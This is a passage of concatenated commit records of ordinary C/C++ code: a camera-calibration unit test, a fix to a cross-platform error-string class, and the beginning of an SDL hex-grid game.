TORT OR OTHERWISE, ARISING FROM, OUT OF OR\n\/\/ IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/\n\n\/*! \\file\n\\brief  This file contains unit test for cam::fit\n*\/\n\n\n#include \"libcam\/fit.h\"\n\n#include \"libga\/spin.h\"\n#include \"libgeo\/VertGangle.h\"\n\n#include \"libdat\/info.h\"\n#include \"libdat\/ops.h\"\n#include \"libdat\/validity.h\"\n#include \"libio\/stream.h\"\n\n#include <iostream>\n#include <memory>\n#include <sstream>\n#include <string>\n\n\nnamespace\n{\n\n\/\/! Check for common functions\nstd::string\ncam_fit_test0\n\t()\n{\n\tstd::ostringstream oss;\n\t\/*\n\tcam::fit const aNull(dat::nullValue<cam::fit>());\n\tif (dat::isValid(aNull))\n\t{\n\t\toss << \"Failure of null value test\" << std::endl;\n\t\toss << \"infoString: \" << dat::infoString(aNull) << std::endl;\n\t}\n\t*\/\n\treturn oss.str();\n}\n\nnamespace\n{\n\t\/\/! Interior geometry for particular test case\n\tstruct Interior\n\t{\n\t\tdat::Extents const theDetSize;\n\t\tdat::Spot const theCenterRC;\n\t\tga::Vector const theCenterVec;\n\n\t\tInterior\n\t\t\t( dat::Extents const & detSize\n\t\t\t)\n\t\t\t: theDetSize{ detSize }\n\t\t\t, theCenterRC{ dat::centerOf(theDetSize) }\n\t\t\t, theCenterVec{ theCenterRC[0], theCenterRC[1], 0. }\n\t\t{ }\n\n\t\tgeo::VertGangle\n\t\tgangleFor\n\t\t\t( double const & pd\n\t\t\t, std::pair<dat::Spot, dat::Spot> const & meaPair\n\t\t\t) const\n\t\t{\n\t\t\tdat::Spot const & meaRowCol1 = meaPair.first;\n\t\t\tdat::Spot const & meaRowCol2 = meaPair.second;\n\t\t\tga::Vector const vecMea1{ meaRowCol1[0], meaRowCol1[1], 0. };\n\t\t\tga::Vector const vecMea2{ meaRowCol2[0], meaRowCol2[1], 0. };\n\t\t\tga::Vector const vecPD{ theCenterVec + pd * ga::e3 };\n\t\t\treturn geo::VertGangle{ vecPD, std::make_pair(vecMea1, vecMea2) };\n\t\t}\n\n\t\tvoid\n\t\tshowData\n\t\t\t( std::pair<dat::Spot, dat::Spot> const & meaPair\n\t\t\t) const\n\t\t{\n\t\t\tfor (double pd{0.} ; pd < 250. ; pd += 10.)\n\t\t\t{\n\t\t\t\tgeo::VertGangle const gangle{ gangleFor(pd, meaPair) };\n\t\t\t\tio::out()\n\t\t\t\t\t<< \" pd: \" << dat::infoString(pd)\n\t\t\t\t\t<< \" gangle: \" << dat::infoString(gangle)\n\t\t\t\t\t<< std::endl;\n\t\t\t}\n\t\t}\n\n\n\t}; \/\/ Interior\n\n}\n\n\/\/! Check principal distance calibration\nstd::string\ncam_fit_test1\n\t()\n{\n\tstd::ostringstream oss;\n\n\t\/\/ simulate a detector\n\tdat::Extents const detSize{ 2000u, 3000u };\n\tdat::Spot const rcCenter{ dat::centerOf(detSize) };\n\tga::Vector const center{ rcCenter[0], rcCenter[1], 0. };\n\n\tdouble const expPD{ 100. };\n\tdouble const delta{ expPD };\n\tusing dat::operator+;\n\tusing dat::operator-;\n\tdat::Spot const meaRowCol1{ rcCenter + dat::Spot{ delta, 500. } };\n\tdat::Spot const meaRowCol2{ rcCenter - dat::Spot{ delta, 500. } };\n\n\tstd::pair<dat::Spot, dat::Spot> const meaPair{ meaRowCol1, meaRowCol2 };\n\tga::Vector const vecMea1{ meaRowCol1[0], meaRowCol1[1], 0. };\n\tga::Vector const vecMea2{ meaRowCol2[0], meaRowCol2[1], 0. };\n\tga::Vector const vecPD{ center + expPD * ga::e3 };\n\n\tgeo::VertGangle const imgGangle{ vecPD, std::make_pair(vecMea1, vecMea2) };\n\tdouble const beta{ imgGangle.angleMag() };\n\tstd::vector<double> const gotPDs\n\t\t{ cam::fit::principalDistanceFor(meaPair, beta, detSize) };\n\n\t\/\/ display all solutions\n\tio::out() << dat::infoString(gotPDs.begin(), gotPDs.end(), \"expPD\") << '\\n';\n\tio::out() << dat::infoString(beta, \"beta\") << '\\n';\n\tfor (double const & gotPD : gotPDs)\n\t{\n\t\tio::out() << io::sprintf(\"... %25.18f\", gotPD) << std::endl;\n\t}\n\n\t\/\/ display expected profile\n\tInterior const inner(detSize);\n\tinner.showData(meaPair);\n\n\tbool okay{ false };\n\tdouble const tol{ dat::diagonalMag(detSize) * math::eps };\n\tfor (double const & gotPD : gotPDs)\n\t{\n\t\tif (dat::nearlyEquals(gotPD, expPD, tol))\n\t\t{\n\t\t\tokay = true;\n\t\t}\n\t}\n\n\tif (! okay)\n\t{\n\t\toss << \"Failure to recover principal distance test\" << std::endl;\n\t\toss << dat::infoString(expPD, \"expPD\") << std::endl;\n\t\tfor (double const & gotPD : gotPDs)\n\t\t{\n\t\t\toss << io::sprintf(\"... %25.18f\", gotPD) << std::endl;\n\t\t}\n\t\toss << dat::infoString(meaRowCol1, \"meaRowCol1\") << std::endl;\n\t\toss << dat::infoString(meaRowCol2, \"meaRowCol2\") << std::endl;\n\t\toss << dat::infoString(beta, \"beta\") << std::endl;\n\t}\n\n\treturn oss.str();\n}\n\n\n}\n\n\/\/! Unit test for cam::fit\nint\nmain\n\t( int const \/*argc*\/\n\t, char const * const * \/*argv*\/\n\t)\n{\n\tstd::ostringstream oss;\n\n\t\/\/ run tests\n\toss << cam_fit_test0();\n\toss << cam_fit_test1();\n\n\t\/\/ check\/report results\n\tstd::string const errMessages(oss.str());\n\tif (! errMessages.empty())\n\t{\n\t\tio::err() << errMessages << std::endl;\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n<commit_msg>testcam\/ufit full test looping over various combinations of grid locations<commit_after>\/\/\n\/\/\n\/\/ MIT License\n\/\/\n\/\/ Copyright (c) 2020 Stellacore Corporation.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining\n\/\/ a copy of this software and associated documentation files (the\n\/\/ \"Software\"), to deal in the Software without restriction, including\n\/\/ without limitation the rights to use, copy, modify, merge, publish,\n\/\/ distribute, sublicense, and\/or sell copies of the Software, and to\n\/\/ permit persons to whom the Software is furnished to do so, subject\n\/\/ to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be\n\/\/ included in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY\n\/\/ KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n\/\/ WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n\/\/ BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN\n\/\/ AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR\n\/\/ IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/\n\n\/*! \\file\n\\brief  This file contains unit test for cam::fit\n*\/\n\n\n#include \"libcam\/fit.h\"\n\n#include \"libga\/spin.h\"\n#include \"libgeo\/VertGangle.h\"\n\n#include \"libdat\/info.h\"\n#include \"libdat\/ops.h\"\n#include \"libdat\/validity.h\"\n#include \"libio\/stream.h\"\n\n#include <iostream>\n#include <memory>\n#include <sstream>\n#include <string>\n\n\nnamespace\n{\n\n\/\/! Check for common functions\nstd::string\ncam_fit_test0\n\t()\n{\n\tstd::ostringstream oss;\n\t\/*\n\tcam::fit const aNull(dat::nullValue<cam::fit>());\n\tif (dat::isValid(aNull))\n\t{\n\t\toss << \"Failure of null value test\" << std::endl;\n\t\toss << \"infoString: \" << dat::infoString(aNull) << std::endl;\n\t}\n\t*\/\n\treturn oss.str();\n}\n\nnamespace\n{\n\t\/\/! Interior geometry for particular test case\n\tstruct Interior\n\t{\n\t\tdat::Extents const theDetSize;\n\t\tdat::Spot const theCenterRC;\n\t\tga::Vector const theCenterVec;\n\n\t\tInterior\n\t\t\t( dat::Extents const & detSize\n\t\t\t)\n\t\t\t: theDetSize{ detSize }\n\t\t\t, theCenterRC{ dat::centerOf(theDetSize) }\n\t\t\t, theCenterVec{ theCenterRC[0], theCenterRC[1], 0. }\n\t\t{ }\n\n\t\tgeo::VertGangle\n\t\tgangleFor\n\t\t\t( double const & pd\n\t\t\t, std::pair<dat::Spot, dat::Spot> const & meaPair\n\t\t\t) const\n\t\t{\n\t\t\tdat::Spot const & meaRowCol1 = meaPair.first;\n\t\t\tdat::Spot const & meaRowCol2 = meaPair.second;\n\t\t\tga::Vector const vecMea1{ meaRowCol1[0], meaRowCol1[1], 0. };\n\t\t\tga::Vector const vecMea2{ meaRowCol2[0], meaRowCol2[1], 0. };\n\t\t\tga::Vector const vecPD{ theCenterVec + pd * ga::e3 };\n\t\t\treturn geo::VertGangle{ vecPD, std::make_pair(vecMea1, vecMea2) };\n\t\t}\n\n\t\tdouble\n\t\tbeta\n\t\t\t( double const & pd\n\t\t\t, std::pair<dat::Spot, dat::Spot> const & meaPair\n\t\t\t) const\n\t\t{\n\t\t\treturn gangleFor(pd, meaPair).angleMag();\n\t\t}\n\n\t\tstd::string\n\t\tinfoProfile\n\t\t\t( std::pair<dat::Spot, dat::Spot> const & meaPair\n\t\t\t, double const & minPD = 0.\n\t\t\t, double const & maxPD = 250.\n\t\t\t, double const & delPD = 10.\n\t\t\t) const\n\t\t{\n\t\t\tstd::ostringstream oss;\n\t\t\tfor (double pd{minPD} ; (! (maxPD < pd)) ; pd += delPD)\n\t\t\t{\n\t\t\t\tgeo::VertGangle const gangle{ gangleFor(pd, meaPair) };\n\t\t\t\toss\n\t\t\t\t\t<< \" pd: \" << dat::infoString(pd)\n\t\t\t\t\t<< \" gangle: \" << dat::infoString(gangle)\n\t\t\t\t\t<< std::endl;\n\t\t\t}\n\t\t\treturn oss.str();\n\t\t}\n\n\n\t}; \/\/ Interior\n\n\tusing MeaPair = std::pair<dat::Spot, dat::Spot>;\n\n\t\/\/! Spots covering detector size\n\tstd::vector<dat::Spot>\n\tdetSpots\n\t\t( dat::Extents const & detSize\n\t\t, size_t const & delta = { 100u }\n\t\t)\n\t{\n\t\tstd::vector<dat::Spot> spots;\n\t\tfor (size_t row{0u} ; row < detSize.high() ; row += delta)\n\t\t{\n\t\t\tfor (size_t col{0u} ; col < detSize.wide() ; col += delta)\n\t\t\t{\n\t\t\t\tdat::Spot const spot{ (double)row, (double)col };\n\t\t\t\tspots.emplace_back(spot);\n\t\t\t}\n\t\t}\n\t\treturn spots;\n\t}\n\n\t\/\/! Combinatorial pairing of spots\n\tstd::vector<MeaPair>\n\tdetPairs\n\t\t( std::vector<dat::Spot> const & spots\n\t\t)\n\t{\n\t\tstd::vector<MeaPair> pairs;\n\t\tpairs.reserve(math::sq(spots.size()));\n\t\tfor (dat::Spot const & spot1 : spots)\n\t\t{\n\t\t\tfor (dat::Spot const & spot2 : spots)\n\t\t\t{\n\t\t\t\tpairs.emplace_back(std::make_pair(spot1, spot2));\n\t\t\t}\n\t\t}\n\t\treturn pairs;\n\t}\n\n\t\/\/! Vector with first two components set to spot coordinates\n\tinline\n\tga::Vector\n\tdetVecFor\n\t\t( dat::Spot const & spot\n\t\t)\n\t{\n\t\treturn ga::Vector{ spot[0], spot[1], 0. };\n\t}\n}\n\n\/\/! Check principal distance calibration\nstd::string\ncam_fit_test1\n\t()\n{\n\tstd::ostringstream oss;\n\n\t\/\/ simulate a detector\n\tdat::Extents const detSize{ 2000u, 3000u };\n\tdat::Spot const rcCenter{ dat::centerOf(detSize) };\n\tga::Vector const center{ rcCenter[0], rcCenter[1], 0. };\n\n\tdouble const expPD{ 1000. };\n\n\tstd::vector<MeaPair> const meaPairs{ detPairs(detSpots(detSize, 123u)) };\n\tsize_t count{ 0u };\n\tfor (MeaPair const & meaPair : meaPairs)\n\t{\n\t\tInterior const inner(detSize); \/\/ for test comparisons\n\t\tdouble const tol{ dat::diagonalMag(detSize) * std::sqrt(math::eps) };\n\n\t\t\/\/ compute interior angle magnitude for test case\n\t\tga::Vector const vecMea1{ detVecFor(meaPair.first) };\n\t\tga::Vector const vecMea2{ detVecFor(meaPair.second) };\n\t\tga::Vector const vecPD{ center + expPD * ga::e3 };\n\t\tgeo::VertGangle const imgGangle\n\t\t\t{ vecPD, std::make_pair(vecMea1, vecMea2) };\n\t\tdouble const beta{ imgGangle.angleMag() };\n\n\t\t\/\/ fit principal distance to this angle\n\t\tstd::vector<double> const gotPDs\n\t\t\t{ cam::fit::principalDistanceFor(meaPair, beta, detSize) };\n\n\t\t\/\/ if same point, expect no solution\n\t\tif (dat::nearlyEquals(meaPair.first, meaPair.second))\n\t\t{\n\t\t\tif (! gotPDs.empty())\n\t\t\t{\n\t\t\t\toss << \"Failure of empty return for zero angle test\" << '\\n';\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ check that solution(s) reproduce interior angle\n\t\t\tfor (double const & gotPD : gotPDs)\n\t\t\t{\n\t\t\t\tdouble const expBeta{ inner.beta(expPD, meaPair) };\n\t\t\t\tdouble const gotBeta{ inner.beta(gotPD, meaPair) };\n\t\t\t\tif (! dat::nearlyEquals(gotBeta, expBeta, tol))\n\t\t\t\t{\n\t\t\t\t\toss << \"Failure of angle beta test\" << std::endl;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\/\/ check that at least one of the solutions is correct\n\t\t\tbool okay{ false };\n\t\t\tfor (double const & gotPD : gotPDs)\n\t\t\t{\n\t\t\t\tif (dat::nearlyEquals(gotPD, expPD, tol))\n\t\t\t\t{\n\t\t\t\t\tokay = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (! okay)\n\t\t\t{\n\t\t\t\toss << \"Failure to recover principal distance test\" << '\\n';\n\t\t\t}\n\t\t}\n\n\t\t\/\/ if error encountered, display diagnostic info\n\t\tif (! oss.str().empty())\n\t\t{\n\t\t\toss << dat::infoString(expPD, \"expPD\") << std::endl;\n\t\t\toss << dat::infoString(vecMea1, \"vecMea1\") << std::endl;\n\t\t\toss << dat::infoString(vecMea2, \"vecMea2\") << std::endl;\n\t\t\toss << dat::infoString(beta, \"beta\") << std::endl;\n\n\t\t\t\/\/ display angle info for solution(s)\n\t\t\tdouble const expBeta{ inner.beta(expPD, meaPair) };\n\t\t\tif (gotPDs.empty())\n\t\t\t{\n\t\t\t\toss << \"<empty solutions>\" << std::endl;\n\t\t\t}\n\t\t\tfor (double const & gotPD : gotPDs)\n\t\t\t{\n\t\t\t\tdouble const gotBeta{ inner.beta(gotPD, meaPair) };\n\t\t\t\tdouble const difBeta{ gotBeta - expBeta };\n\t\t\t\tdouble const difPD{ gotPD - expPD };\n\t\t\t\toss\n\t\t\t\t\t<< \"...   expPD: \" << io::sprintf(\"%12.6f\", expPD)\n\t\t\t\t\t<< \"   gotPD: \" << io::sprintf(\"%12.6f\", gotPD)\n\t\t\t\t\t<< \"   difPD: \" << io::sprintf(\"%12.5e\", difPD)\n\t\t\t\t\t<< \"   tol: \" << io::sprintf(\"%12.5e\", tol)\n\t\t\t\t\t<< std::endl;\n\t\t\t\toss\n\t\t\t\t\t<< \"... expBeta: \" << io::sprintf(\"%12.6f\", expBeta)\n\t\t\t\t\t<< \" gotBeta: \" << io::sprintf(\"%12.6f\", gotBeta)\n\t\t\t\t\t<< \" difBeta: \" << io::sprintf(\"%12.5e\", difBeta)\n\t\t\t\t\t<< \"   tol: \" << io::sprintf(\"%12.5e\", tol)\n\t\t\t\t\t<< std::endl;\n\t\t\t}\n\n\t\t\t\/\/ display expected profile\n\t\t\toss << inner.infoProfile(meaPair, 0., 2000., 100.) << std::endl;\n\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t++count;\n\t\t}\n\t}\n\n\tif (count < 100u)\n\t{\n\t\toss << \"Failure to consider enough cases: count = \" << count << '\\n';\n\t}\n\t\/\/ io::out() << count << std::endl;\n\n\treturn oss.str();\n}\n\n\n}\n\n\/\/! Unit test for cam::fit\nint\nmain\n\t( int const \/*argc*\/\n\t, char const * const * \/*argv*\/\n\t)\n{\n\tstd::ostringstream oss;\n\n\t\/\/ run tests\n\toss << cam_fit_test0();\n\toss << cam_fit_test1();\n\n\t\/\/ check\/report results\n\tstd::string const errMessages(oss.str());\n\tif (! errMessages.empty())\n\t{\n\t\tio::err() << errMessages << std::endl;\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#ifdef _WIN32\n#include <windows.h>\n#else\n#include <errno.h>\n#include <cstring>\n#include <pthread.h>\n#endif\n\n#include <nstd\/Error.h>\n#include <nstd\/Map.h>\n#include <nstd\/Debug.h>\n\nclass Error::Private\n{\npublic:\n#ifdef _WIN32\n  static CRITICAL_SECTION cs;\n#else\n  static pthread_mutex_t mutex;\n#endif\n  static Map<uint32_t, String> userErrorStrings;\n  static class Framework\n  {\n  public:\n    Framework()\n    {\n#ifdef _WIN32\n      InitializeCriticalSection(&cs);\n#else\n      pthread_mutexattr_t attr; \/\/ TODO: use global var for this?\n      pthread_mutexattr_init(&attr);\n      VERIFY(pthread_mutex_init(&mutex, &attr) == 0);\n#endif\n    }\n    ~Framework()\n    {\n#ifdef _WIN32\n      DeleteCriticalSection(&cs);\n#else\n      VERIFY(pthread_mutex_destroy(&mutex) == 0);\n#endif\n    }\n  } framework;\n};\n\n#ifdef _WIN32\nCRITICAL_SECTION Error::Private::cs;\n#else\npthread_mutex_t CRITICAL_SECTION Error::Private::mutex;\n#endif\nMap<uint32_t, String> Error::Private::userErrorStrings;\nError::Private::Framework Error::Private::framework;\n\nvoid_t Error::setLastError(uint_t error)\n{\n#ifdef _WIN32\n  SetLastError((DWORD)error);\n#else\n  errno = (int)error;\n#endif\n}\n\nuint_t Error::getLastError()\n{\n#ifdef _WIN32\n  return (uint_t)GetLastError();\n#else\n  return errno;\n#endif\n}\n\nString Error::getErrorString(uint_t error)\n{\n  if(error == 0x10000)\n  {\n    String errorStr;\n#ifdef _WIN32\n    EnterCriticalSection(&Private::cs);\n#else\n    VERIFY(pthread_mutex_lock(&Private::mutex) == 0);\n#endif\n\n#ifdef _WIN32\n    uint32_t threadId = (uint32_t)GetCurrentThreadId();\n#else\n    uint32_t threadId = (uint32_t)pthread_self();\n#endif\n    Map<uint32_t, String>::Iterator it = Private::userErrorStrings.find(threadId);\n    if(it != Private::userErrorStrings.end())\n      errorStr = *it;\n#ifdef _WIN32\n    LeaveCriticalSection(&Private::cs);\n#else\n    VERIFY(pthread_mutex_unlock(&Private::mutex) == 0);\n#endif\n    return errorStr;\n  }\n\n#ifdef _WIN32\n  TCHAR errorMessage[256];\n  DWORD len = FormatMessage(\n        FORMAT_MESSAGE_FROM_SYSTEM |\n        FORMAT_MESSAGE_IGNORE_INSERTS,\n        NULL,\n        error,\n        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n        (LPTSTR) errorMessage,\n        256, NULL );\n  ASSERT(len >= 0 && len <= 256);\n  while(len > 0 && String::isSpace(errorMessage[len - 1]))\n    --len;\n  errorMessage[len] = '\\0';\n  return String(errorMessage, len);\n#else\n  const char* errorMessage = strerror(error);\n  return String(errorMessage, String::length(errorMessage));\n#endif\n}\n\nvoid_t Error::setErrorString(const String& error)\n{\n#ifdef _WIN32\n  EnterCriticalSection(&Private::cs);\n#else\n  VERIFY(pthread_mutex_lock(&Private::mutex) == 0);\n#endif\n\n#ifdef _WIN32\n  uint32_t threadId = (uint32_t)GetCurrentThreadId();\n#else\n  uint32_t threadId = (uint32_t)pthread_self();\n#endif\n\n  String* threadErrorMsg = 0;\n  for(Map<uint32_t, String>::Iterator i = Private::userErrorStrings.begin(), end = Private::userErrorStrings.end(), next; i != end; i = next)\n  {\n    next = i;\n    ++next;\n\n#ifdef _WIN32\n    HANDLE handle = OpenThread(DELETE, FALSE, i.key());\n    if(handle == NULL)\n    {\n      Private::userErrorStrings.remove(i);\n      continue;\n    }\n    else\n      CloseHandle(handle);\n#else\n    int policy;\n    struct sched_param param;\n    if(pthread_getschedparam((pthread_t)i.key(), &policy, &param) != 0 && errno == ESRCH)\n    {\n      Private::userErrorStrings.remove(i);\n      continue;\n    }\n#endif\n    if(i.key() == threadId)\n      threadErrorMsg = &*i;\n  }\n  if(threadErrorMsg)\n    *threadErrorMsg = error;\n  else\n    Private::userErrorStrings.insert(threadId, error);\n  setLastError(0x10000);\n#ifdef _WIN32\n  LeaveCriticalSection(&Private::cs);\n#else\n  VERIFY(pthread_mutex_unlock(&Private::mutex) == 0);\n#endif\n}\n<commit_msg>Error: Fixed Linux implementation of setErrorString<commit_after>\n#ifdef _WIN32\n#include <windows.h>\n#else\n#include <errno.h>\n#include <cstring>\n#include <pthread.h>\n#include <sched.h>\n#include <unistd.h>\n#include <sys\/syscall.h>\n#endif\n\n#include <nstd\/Error.h>\n#include <nstd\/Map.h>\n#include <nstd\/Debug.h>\n\nclass Error::Private\n{\npublic:\n#ifdef _WIN32\n  static CRITICAL_SECTION cs;\n#else\n  static pthread_mutex_t mutex;\n#endif\n  static Map<uint32_t, String> userErrorStrings;\n  static class Framework\n  {\n  public:\n    Framework()\n    {\n#ifdef _WIN32\n      InitializeCriticalSection(&cs);\n#else\n      pthread_mutexattr_t attr; \/\/ TODO: use global var for this?\n      pthread_mutexattr_init(&attr);\n      VERIFY(pthread_mutex_init(&mutex, &attr) == 0);\n#endif\n    }\n    ~Framework()\n    {\n#ifdef _WIN32\n      DeleteCriticalSection(&cs);\n#else\n      VERIFY(pthread_mutex_destroy(&mutex) == 0);\n#endif\n    }\n  } framework;\n};\n\n#ifdef _WIN32\nCRITICAL_SECTION Error::Private::cs;\n#else\npthread_mutex_t Error::Private::mutex;\n#endif\nMap<uint32_t, String> Error::Private::userErrorStrings;\nError::Private::Framework Error::Private::framework;\n\nvoid_t Error::setLastError(uint_t error)\n{\n#ifdef _WIN32\n  SetLastError((DWORD)error);\n#else\n  errno = (int)error;\n#endif\n}\n\nuint_t Error::getLastError()\n{\n#ifdef _WIN32\n  return (uint_t)GetLastError();\n#else\n  return errno;\n#endif\n}\n\nString Error::getErrorString(uint_t error)\n{\n  if(error == 0x10000)\n  {\n    String errorStr;\n#ifdef _WIN32\n    EnterCriticalSection(&Private::cs);\n#else\n    VERIFY(pthread_mutex_lock(&Private::mutex) == 0);\n#endif\n\n#ifdef _WIN32\n    uint32_t threadId = (uint32_t)GetCurrentThreadId();\n#else\n    uint32_t threadId = (uint32_t)syscall(__NR_gettid);\n#endif\n    Map<uint32_t, String>::Iterator it = Private::userErrorStrings.find(threadId);\n    if(it != Private::userErrorStrings.end())\n      errorStr = *it;\n#ifdef _WIN32\n    LeaveCriticalSection(&Private::cs);\n#else\n    VERIFY(pthread_mutex_unlock(&Private::mutex) == 0);\n#endif\n    return errorStr;\n  }\n\n#ifdef _WIN32\n  TCHAR errorMessage[256];\n  DWORD len = FormatMessage(\n        FORMAT_MESSAGE_FROM_SYSTEM |\n        FORMAT_MESSAGE_IGNORE_INSERTS,\n        NULL,\n        error,\n        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n        (LPTSTR) errorMessage,\n        256, NULL );\n  ASSERT(len >= 0 && len <= 256);\n  while(len > 0 && String::isSpace(errorMessage[len - 1]))\n    --len;\n  errorMessage[len] = '\\0';\n  return String(errorMessage, len);\n#else\n  const char* errorMessage = strerror(error);\n  return String(errorMessage, String::length(errorMessage));\n#endif\n}\n\nvoid_t Error::setErrorString(const String& error)\n{\n#ifdef _WIN32\n  EnterCriticalSection(&Private::cs);\n#else\n  VERIFY(pthread_mutex_lock(&Private::mutex) == 0);\n#endif\n\n#ifdef _WIN32\n  uint32_t threadId = (uint32_t)GetCurrentThreadId();\n#else\n  uint32_t threadId = (uint32_t)syscall(__NR_gettid);\n#endif\n\n  String* threadErrorMsg = 0;\n  for(Map<uint32_t, String>::Iterator i = Private::userErrorStrings.begin(), end = Private::userErrorStrings.end(), next; i != end; i = next)\n  {\n    next = i;\n    ++next;\n\n#ifdef _WIN32\n    HANDLE handle = OpenThread(DELETE, FALSE, i.key());\n    if(handle == NULL)\n    {\n      Private::userErrorStrings.remove(i);\n      continue;\n    }\n    else\n      CloseHandle(handle);\n#else\n    cpu_set_t cpuset;\n    if(sched_getaffinity((pid_t)i.key(), sizeof(cpu_set_t), &cpuset) != 0)\n    {\n      Private::userErrorStrings.remove(i);\n      continue;\n    }\n#endif\n    if(i.key() == threadId)\n      threadErrorMsg = &*i;\n  }\n  if(threadErrorMsg)\n    *threadErrorMsg = error;\n  else\n    Private::userErrorStrings.insert(threadId, error);\n  setLastError(0x10000);\n#ifdef _WIN32\n  LeaveCriticalSection(&Private::cs);\n#else\n  VERIFY(pthread_mutex_unlock(&Private::mutex) == 0);\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Hex math taken from the amazing Amit Patel @ http:\/\/www.redblobgames.com\/grids\/hexagons\/\n\n#include <SDL.h>\n#include <SDL_ttf.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <math.h>\n\ntypedef int8_t int8;\ntypedef int16_t int16;\ntypedef int32_t int32;\ntypedef int64_t int64;\n\ntypedef uint8_t uint8;\ntypedef uint16_t uint16;\ntypedef uint32_t uint32;\ntypedef uint64_t uint64;\n\n#define PI 3.1415927f\n\nstatic bool running;\n\nint gridOriginX = 30;\nint gridOriginY = 30;\nint gridWidth = 14;\nint gridHeight = 14;\nint hexSize = 30;\nfloat hexWidth = (3.0f\/2.0f) * hexSize;\nfloat hexHeight = sqrt(3.0f) * hexSize;\n\nint fontSize = 22;\nTTF_Font* font;\n\nstruct Map\n{\n    int width;\n    int height;\n    void* data;\n};\n\nstruct GameState\n{\n    Map map;\n\n    int currentPlayer;\n    int playerVelocity[2];\n    SDL_Point playerLoc[2];\n};\n\n\nbool isDigit(int c)\n{\n    return c >= '0' && c <= '9';\n}\n\nint getUIntFromByteStream(FILE* inFile)\n{\n    int result = 0;\n    int nextByte;\n    while(isDigit(nextByte = fgetc(inFile)))\n    {\n        if(nextByte == EOF)\n        {\n            printf(\"Error reading map file, unexpected EOF\\n\");\n            return -1;\n        }\n        result = (10*result+(nextByte-'0'));\n    }\n    return result;\n}\n\nvoid loadMap(char* filename, GameState* gameState)\n{\n    FILE* inFile;\n    fopen_s(&inFile, filename, \"r\");\n    \n    \/\/ Load Map Data\n    gameState->map.width = getUIntFromByteStream(inFile);\n    gameState->map.height = getUIntFromByteStream(inFile);\n    gameState->map.data = malloc(gameState->map.width * gameState->map.height);\n    for(int y=0; y<gameState->map.height; ++y)\n    {\n        fread((void*)((char*)gameState->map.data + gameState->map.width*y), 1, gameState->map.width, inFile);\n        fgetc(inFile); \/\/ Skip the newline byte\n    }\n\tfclose(inFile);\n\n    \/\/ Assign player start locations\n    for(int y=0; y<gameState->map.height; ++y)\n    {\n        for(int x=0; x<gameState->map.width; ++x)\n        {\n            char c = *((char*)gameState->map.data + gameState->map.width*y + x);\n            if(c == 'A')\n            {\n                gameState->playerLoc[0].x = x;\n                gameState->playerLoc[0].y = y;\n            }\n            else if(c == 'B')\n            {\n                gameState->playerLoc[1].x = x;\n                gameState->playerLoc[1].y = y;\n            }\n        }\n    }\n}\n\n\/\/ TODO: Implement this properly (at the moment it's SUPER inefficient)\nvoid text(SDL_Renderer* renderer, char* text, int x, int y)\n{\n    int textLength = 0;\n    while(text[textLength] != 0)\n    {\n        ++textLength;\n    }\n    \n    SDL_Color White = {255, 255, 255};\n    SDL_Surface* surfaceMessage = TTF_RenderText_Solid(font, text, White);\n    SDL_Texture* TextMessage = SDL_CreateTextureFromSurface(renderer, surfaceMessage);\n\n    SDL_Rect Message_rect;\n    Message_rect.x = x;\n    Message_rect.y = y;\n    Message_rect.w = (int)(fontSize*(3.0f\/4.0f))*textLength;\n    Message_rect.h = fontSize+5; \/\/ controls the height of the rect\n    printf(\"%s\\n\", SDL_GetError());\n    \/\/Now since it's a texture, you have to put RenderCopy in your game loop area, the area where the whole code executes\n    SDL_RenderCopy(renderer, TextMessage, NULL, &Message_rect); \/\/you put the renderer's name first, the Message, the crop size(you can ignore this if you don't want to dabble with cropping), and the rect which is the size and coordinate of your texture\n    SDL_FreeSurface(surfaceMessage);\n    SDL_DestroyTexture(TextMessage);\n}\n\nint round(float x)\n{\n    return (int)(x+0.5f);\n}\n\nint screenToHexX(int screenX)\n{\n    return (int)round((screenX - gridOriginX)\/hexWidth);\n}\n\nint screenToHexY(int screenX, int screenY)\n{\n    int hexX = screenToHexX(screenX);\n    if(hexX%2 == 0)\n    {\n        screenY -= (int)(hexHeight\/2.0f);\n    }\n    return (int)round((screenY - gridOriginY)\/hexHeight);\n}\n\nint hexToScreenX(int hexX)\n{\n    return gridOriginX + (int)(hexWidth*hexX);\n}\n\nint hexToScreenY(int hexX, int hexY)\n{\n    int result = gridOriginY + (int)(hexHeight*hexY);\n    if(hexX%2 == 0)\n    {\n        result += (int)(hexHeight\/2.0f);\n    }\n    return result;\n}\n\nint drawRegularHex(SDL_Renderer* renderer, int centreX, int centreY, int radius)\n{\n    SDL_Point hexPoints[7];\n    for(int i=0; i<7; ++i)\n    {\n        float angle = (60.0f*i);\n        float angle_rad = (PI\/180) * angle;\n\n        hexPoints[i].x = (int)(centreX + radius*cosf(angle_rad));\n        hexPoints[i].y = (int)(centreY + radius*sinf(angle_rad));\n    }\n    return SDL_RenderDrawLines(renderer, hexPoints, 7);\n}\n\nvoid fillRect(SDL_Renderer* renderer, int centreX, int centreY, int width, int height)\n{\n    SDL_Rect rect;\n    